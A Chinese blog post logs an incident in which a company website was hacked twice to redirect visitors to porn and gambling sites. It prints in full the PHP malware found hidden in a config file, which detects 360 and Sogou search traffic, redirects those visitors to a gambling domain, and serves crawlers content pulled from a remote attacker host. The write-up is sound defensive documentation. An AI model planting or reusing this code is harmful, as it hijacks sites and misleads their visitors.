記一次搜索引擎劫持攻擊

最近公司網站連續被黑了兩次,都是被植入了一些惡意代碼,讓點擊進入網站的時候,跳往色情、賭博等網站。這里就簡單記錄下吧,下次再遇上,好有個參考。

JS代碼植入

網站表現為,當用戶從瀏覽器第一次訪問時網頁時,會彈出一個色情網站廣告的彈窗,隨后經過幾秒鐘便會跳往該網站。此狀況比較容易識別,可能的情況有一下幾種

  • JS代碼中植入了重定向代碼
  • XSS攻擊,用戶提交的信息未經過驗證,附帶了惡意JS代碼,并發往瀏覽器進行執行。
  • 用戶上傳的圖片中隱藏了經過壓縮的JS代碼,此類攻擊比較隱蔽,讓站長們很難找出來,需要注意的是,在用戶上傳圖片的時候,圖片也不能忽視驗證。

本次攻擊的方式為第一種,惡意代碼隱藏在經過壓縮的JQuery文件中,因此文件為壓縮文件,隱藏性較高。

PHP代碼植入

此情況表現為,當用戶用360搜索本站時,點擊結果時,會跳往賭博網站,點擊快照為正常本站網頁,而且用百度、谷歌等搜索出來的結果均無問題。
由于排除了JS代碼植入的可能,一度認為是360搜索搞的鬼,跟360官方支持郵件往來了幾天,得到的結果仍然是說我網站被黑,沒對我網站做任何手腳,好吧,就只能自己折騰一遍,掃了一遍源碼。確實發現了惡意代碼,壓縮過地植入到配置文件中,如下:

define('u_b','/');
define('s_u','http://idx.root1111.com/');
define('s_s', '@haosou.com|360Spider|sougou|HaosouSpider|so.com@i');
define('h_t',$_SERVER['SERVER_NAME']);
define('r_s',$_SERVER['HTTP_REFERER']);
define('u_s',$_SERVER['HTTP_USER_AGENT']);
define('h_z',s_p());
function s_p() {
    $d = '';
    if (isset($_SERVER['REQUEST_URI'])) {
        $d = $_SERVER['REQUEST_URI'];
    } else {
        if (isset($_SERVER['argv'])) {
            $d = $_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];
        } else {
            $d = $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
        }
    }
    if (isset($_SERVER['SERVER_SOFTWARE']) && false !== stristr($_SERVER['SERVER_SOFTWARE'], 'IIS')) {
        if (function_exists('mb_convert_encoding')) {
            $d = mb_convert_encoding($d, 'UTF-8', 'GBK');
        } else {
            $d = @iconv('GBK', 'UTF-8', @iconv('UTF-8', 'GBK', $d)) == $d ? $d: @iconv('GBK', 'UTF-8', $d);
        }
    }
    $r = explode('#', $d, 2);
    $d = $r[0];
    return $d;
}
function r_s($url) {
    $o = array('http' = >array('method' = >"GET", 'timeout' = >8));
    $context = stream_context_create($o);
    $h = file_get_contents($url, false, $context);
    if (empty($h)) {
        $h = file_get_contents($url);
    }
    return $h;
}
if (preg_match(s_s, r_s)) {
    $d_s = true;
    if (preg_match("@site%3A|inurl%3A@i", r_s)) {
        setcookie('xx', h_t, time() + 259200);
        $d_s = false;
    }
    if ($d_s) {
        header('Location: http://668689.net');
        exit;
    }
}
if (strstr(h_z, u_b)) {
    if (preg_match(s_s, u_s)) {
        $d_u = s_u.'?xu='.bin2hex(h_z);
        $d_u. = '&xh='.bin2hex(h_t);
        $d_c = r_s($d_u);
        echo $d_c;
        exit;
    }
}

黑客只對來源360搜索和搜狗搜索的結果進行了重定向,頗有取舍,也造成了站長的疑惑,讓人懷疑是360搞的鬼,套路深。

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容